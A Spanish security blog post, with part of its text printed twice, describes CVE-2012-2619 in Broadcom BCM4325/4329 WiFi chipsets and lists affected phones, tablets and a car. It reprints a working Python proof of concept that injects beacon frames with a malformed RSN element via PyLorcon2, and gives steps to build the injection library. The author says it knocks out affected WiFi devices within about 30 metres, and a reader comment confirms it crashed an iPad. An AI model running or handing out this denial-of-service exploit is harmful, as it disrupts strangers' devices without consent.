Estaba en mi casa tranquilamente decidiendo sobre el tema de una nueva entrada para hackplayers, cuando de pronto me llegó el siguiente email que os lo dejo integro tal y como lo recibí. Jejeje así me ahorro unos cuantos caracteres y me sirve de intro, que ando algo malito por el cambio estacional:
"Se ha publicado una vulnerabilidad presente en determinados Chipset de la firma Broadcom, en especial los modelos BCM4325/29 integrados en multitud de dispositivos inalámbricos como smartphones, tablets e incluso vehículos (como el Ford Edge).
El fallo permitiría realizar una denegación de servicio al módulo inalámbrico e incluso la revelación de información sensible según los propios investigadores. El fallo podría reproducirse atacando directamente al módulo WiFi independientemente del sistema operativo presente en el dispositivo.
La vulnerabilidad (CVE-2012-2619) reportada por el laboratorio de CoreLabs (Core Security Technologies) fue descubierta por el investigador argentino Andrés Blanco, el cual que hizo una demostración pública durante la pasada Ekoparty en Buenos Aires, Argentina. Su compañero Matias Eissler desarrolló la prueba de concepto totalmente funcional.
Mediante estudios de ingeniería inversa consiguieron comprender la estructura del firmware de los dispositivos Broadcom, hallando la forma de alterar el tráfico WiFi (normativa IEEE 802.11) de tal manera que afectara a dichos dispositivos inalámbricos a través del envío de tramas RSN (IEEE 802.11i, WPA/WPA2) especialmente manipuladas.
El protocolo RSN (Robust Security Network) interviene en la negociación y establecimiento del tipo de autenticación y cifrado utilizado durante una sesión WPA/WPA2.
En coordinación con los investigadores y el US-CERT, Broadcom facilitó
a los diferentes fabricantes (Apple, HTC, Motorola, Sony, Nokia, Samsung...) un nuevo firmware que impide la vulnerabilidad para integrarlo en sus dispositivos, "por lo que se da como subsanada" XDD.
Los dispositivos afectados con el chipset BCM4325:
A la noticia le acompañaba el siguiente script de python, el cual en principio tiene un par de erratas que supongo pusieron a propósito ;D. Así que editamos el código en nuestro editor preferido y corregimos:
*Poned especial atencion en los campos que he coloreado.
Enlace al codigo: http://pastebin.com/KNiAx2Vw
---------------------------------------------------------------------------------------------
#!/usr/bin/env python
import sys
import time
import struct
import PyLorcon2
def beaconFrameGenerator():
sequence = 0
while(1):
sequence = sequence % 4096
# Frame Control
frame = '\x80' # Version: 0 - Type: Managment - Subtype: Beacon
frame += '\x00' # Flags: 0
frame += '\x00\x00' # Duration: 0
frame += '\xff\xff\xff\xff\xff\xff' # Destination: ff:ff:ff:ff:ff:ff
frame += '\x00\x00\x00\x15\xde\xad' # Source: 00:00:00:15:de:ad
frame += '\x00\x00\x00\x15\xde\xad' # BSSID: 00:00:00:15:de:ad
frame += struct.pack('H', sequence) # Fragment: 0 - Sequenence:
#part of the generator
# Frame Body
frame += struct.pack('Q', time.time()) # Timestamp
frame += '\x64\x00' # Beacon Interval: 0.102400 seconds
frame += '\x11\x04' # Capability Information: ESS, Privacy,
#Short Slot time
# Information Elements
# SSID: buggy
frame += '\x00\x05buggy'
# Supported Rates: 1,2,5.5,11,18,24,36,54
frame += '\x01\x08\x82\x84\x8b\x96\x24\x30\x48\x6c'
# DS Parameter Set: 6
frame += '\x03\x01\x06'
# RSN IE
frame += '\x30' # ID: 48
frame += '\x14' # Size: 20
frame += '\x01\x00' # Version: 1
frame += '\x00\x0f\xac\x04' # Group cipher suite: TKIP
frame += '\x01\x00' # Pairwise cipher suite count: 1
frame += '\x00\x0f\xac\x00' # Pairwise cipher suite 1: TKIP
frame += '\xff\xff' # Authentication suites count: 65535
frame += '\x00\x0f\xac\x02' # Pairwise authentication suite 2: PSK
frame += '\x00\x00'
sequence += 1
yield frame
if __name__ == "__main__":
if len(sys.argv) != 2:
print "Usage:"
print "\t%s <wireless interface>" % sys.argv[0]
sys.exit(-1)
iface = sys.argv[1]
context = PyLorcon2.Context(iface)
context.open_injmon()
generator = beaconFrameGenerator()
for i in range(10000):
frame = generator.next()
time.sleep(0.100)
context.send_bytes(frame)
---------------------------------------------------------------------------------
Cerramos nuestro editor guardando el archivo como poc.py.
Para llevar a cabo la prueba de concepto, que el script sea funcional y echándole un ojo al código, nos damos cuenta que necesitamos tener instalado PyLorcon2
Procederemos a bajarlo directamente desde la consola:
svn co http://802.11ninja.net/svn/lorcon/tags/lorcon2-200911-rc1/ lorcon2-200911-rc1
Instalamos el software necesario para construir lorcon2 and pylorcon2.
sudo apt-get install libpcap-dev libnl-dev python-dev
procederemos a compilar lordcom2:
$ cd lorcon2-200911-rc1
$ ./configure --libdir=/usr/lib...
$ make...
$ sudo make install...
El próximo paso será bajarnos e instalar pylorcom2:
$ svn co http://pylorcon2.googlecode.com/svn/trunk pylorcon2
...
$ cd pylorcon2...
$ python setup.py build...
$ python setup.py install...
ahora testeamos el funcionamiento:
y procedemos a la prueba de concepto:
En seguida veremos a nuestra tarjeta de red "echa mistos":
y voilá!!! Cualquier dispositivo wifi con los chipset anteriormente mencionados caerá fulminado ..a 30 mts a la redonda... con tan sólo realizar un escaneo de redes...
Sed buenos :D
Fuentes: http://unaaldia.hispasec.com/
http://code.google.com/p/pylorcon2/
"Se ha publicado una vulnerabilidad presente en determinados Chipset de la firma Broadcom, en especial los modelos BCM4325/29 integrados en multitud de dispositivos inalámbricos como smartphones, tablets e incluso vehículos (como el Ford Edge).
El fallo permitiría realizar una denegación de servicio al módulo inalámbrico e incluso la revelación de información sensible según los propios investigadores. El fallo podría reproducirse atacando directamente al módulo WiFi independientemente del sistema operativo presente en el dispositivo.
La vulnerabilidad (CVE-2012-2619) reportada por el laboratorio de CoreLabs (Core Security Technologies) fue descubierta por el investigador argentino Andrés Blanco, el cual que hizo una demostración pública durante la pasada Ekoparty en Buenos Aires, Argentina. Su compañero Matias Eissler desarrolló la prueba de concepto totalmente funcional.
Mediante estudios de ingeniería inversa consiguieron comprender la estructura del firmware de los dispositivos Broadcom, hallando la forma de alterar el tráfico WiFi (normativa IEEE 802.11) de tal manera que afectara a dichos dispositivos inalámbricos a través del envío de tramas RSN (IEEE 802.11i, WPA/WPA2) especialmente manipuladas.
El protocolo RSN (Robust Security Network) interviene en la negociación y establecimiento del tipo de autenticación y cifrado utilizado durante una sesión WPA/WPA2.
En coordinación con los investigadores y el US-CERT, Broadcom facilitó
a los diferentes fabricantes (Apple, HTC, Motorola, Sony, Nokia, Samsung...) un nuevo firmware que impide la vulnerabilidad para integrarlo en sus dispositivos, "por lo que se da como subsanada" XDD.
Los dispositivos afectados con el chipset BCM4325:
- Apple iPhone 3GS
- Apple iPod 2G
- HTC Touch Pro 2
- HTC Droid Incredible
- Samsung Spica
- Acer Liquid
- Motorola Devour
- Vehículo Ford Edge
- Apple iPhone 4
- Apple iPhone 4 Verizon
- Apple iPod 3G
- Apple iPad Wi-Fi
- Apple iPad 3G
- Apple iPad 2
- Apple Tv 2G
- Motorola Xoom
- Motorola Droid X2
- Motorola Atrix
- Samsung Galaxy Tab
- Samsung Galaxy S 4G
- Samsung Nexus S
- Samsung Stratosphere
- Samsung Fascinate
- HTC Nexus One
- HTC Evo 4G
- HTC ThunderBolt
- HTC Droid Incredible 2
- LG Revolution
- Sony Ericsson Xperia Play
- Pantech Breakout
- Nokia Lumina 800
- Kyocera Echo
- Asus Transformer Prime
- Malata ZPad"
A la noticia le acompañaba el siguiente script de python, el cual en principio tiene un par de erratas que supongo pusieron a propósito ;D. Así que editamos el código en nuestro editor preferido y corregimos:
*Poned especial atencion en los campos que he coloreado.
Enlace al codigo: http://pastebin.com/KNiAx2Vw
---------------------------------------------------------------------------------------------
#!/usr/bin/env python
import sys
import time
import struct
import PyLorcon2
def beaconFrameGenerator():
sequence = 0
while(1):
sequence = sequence % 4096
# Frame Control
frame = '\x80' # Version: 0 - Type: Managment - Subtype: Beacon
frame += '\x00' # Flags: 0
frame += '\x00\x00' # Duration: 0
frame += '\xff\xff\xff\xff\xff\xff' # Destination: ff:ff:ff:ff:ff:ff
frame += '\x00\x00\x00\x15\xde\xad' # Source: 00:00:00:15:de:ad
frame += '\x00\x00\x00\x15\xde\xad' # BSSID: 00:00:00:15:de:ad
frame += struct.pack('H', sequence) # Fragment: 0 - Sequenence:
#part of the generator
# Frame Body
frame += struct.pack('Q', time.time()) # Timestamp
frame += '\x64\x00' # Beacon Interval: 0.102400 seconds
frame += '\x11\x04' # Capability Information: ESS, Privacy,
#Short Slot time
# Information Elements
# SSID: buggy
frame += '\x00\x05buggy'
# Supported Rates: 1,2,5.5,11,18,24,36,54
frame += '\x01\x08\x82\x84\x8b\x96\x24\x30\x48\x6c'
# DS Parameter Set: 6
frame += '\x03\x01\x06'
# RSN IE
frame += '\x30' # ID: 48
frame += '\x14' # Size: 20
frame += '\x01\x00' # Version: 1
frame += '\x00\x0f\xac\x04' # Group cipher suite: TKIP
frame += '\x01\x00' # Pairwise cipher suite count: 1
frame += '\x00\x0f\xac\x00' # Pairwise cipher suite 1: TKIP
frame += '\xff\xff' # Authentication suites count: 65535
frame += '\x00\x0f\xac\x02' # Pairwise authentication suite 2: PSK
frame += '\x00\x00'
sequence += 1
yield frame
if __name__ == "__main__":
if len(sys.argv) != 2:
print "Usage:"
print "\t%s <wireless interface>" % sys.argv[0]
sys.exit(-1)
iface = sys.argv[1]
context = PyLorcon2.Context(iface)
context.open_injmon()
generator = beaconFrameGenerator()
for i in range(10000):
frame = generator.next()
time.sleep(0.100)
context.send_bytes(frame)
---------------------------------------------------------------------------------
Cerramos nuestro editor guardando el archivo como poc.py.
Para llevar a cabo la prueba de concepto, que el script sea funcional y echándole un ojo al código, nos damos cuenta que necesitamos tener instalado PyLorcon2
Procederemos a bajarlo directamente desde la consola:
svn co http://802.11ninja.net/svn/lorcon/tags/lorcon2-200911-rc1/ lorcon2-200911-rc1
Instalamos el software necesario para construir lorcon2 and pylorcon2.
sudo apt-get install libpcap-dev libnl-dev python-dev
procederemos a compilar lordcom2:
$ cd lorcon2-200911-rc1
$ ./configure --libdir=/usr/lib...
$ make...
$ sudo make install...
El próximo paso será bajarnos e instalar pylorcom2:
$ svn co http://pylorcon2.googlecode.com/svn/trunk pylorcon2
...
$ cd pylorcon2...
$ python setup.py build...
$ python setup.py install...
ahora testeamos el funcionamiento:
y procedemos a la prueba de concepto:
En seguida veremos a nuestra tarjeta de red "echa mistos":
y voilá!!! Cualquier dispositivo wifi con los chipset anteriormente mencionados caerá fulminado ..a 30 mts a la redonda... con tan sólo realizar un escaneo de redes...
Sed buenos :D
Fuentes: http://unaaldia.hispasec.com/
http://code.google.com/p/pylorcon2/
Buenas Manuel, he tratado de probar el script, siguiendo más o menos los pasos, y a falta de poder probar con un terminal afectado. Me gustaría saber si hay que hacer finalmente modificaciones en el código. Tal cual, una vez ejecutado aparece la red.
ResponderEliminarSegún las especificaciones que he buscado, el x05, es la longitud del nombre, por lo que debería estar bien. El import, está correcto. Y por si acaso el bssid, lo cambié por "dead...dead". No fuese por valores nulos (aquí, demuestro otra vez, mi ignorancia).
¿Podrías echarme un cable? ¡mil gracias!
Hey que tal!!! no te contestado antes por ando algo liao.. No tienes que hacer nada con el codigo...ya esta corregido si le quieres cambiar el nombre a bsid perfecto....un saludo
ResponderEliminarMe sale error en el codigo de poc.py en la linea 9
ResponderEliminares el siguiente:
File "./poc.py", line 9
sequence = 0
^
IndentationError: expected an indented block
espero tu ayuda gracias!
Funciona! apenas se ejecuta el comando se cae el wifi de mi ipad 2 XD
ResponderEliminareso si esta mal indentado el codigo poc.py
muchas graciass
que pasa nik!!! llevas razon te da un error de indentacion por que ala hora de pegar el code en el bloog este lo hace un poco a su manera, se come los espacios de la izquierda, dando lugar a este error....jejeje Bravo por valentina!!!
ResponderEliminarYA HE CORREGIDO LA ENTRADA PRUEBALO AHORA NIK
DE todas formas os dejo un enlace al codigo en http://pastebin.com/KNiAx2Vw
ResponderEliminarPerfecto Manuel, mil gracias!!! Es que no sabía si ya funcionaba o tendría que hacer cambios (y el código, que encontré público, era igual).
ResponderEliminarLástima no tener dispositivos con los que poder enredar, pero bueno :). ¡De nuevo, muchas gracias!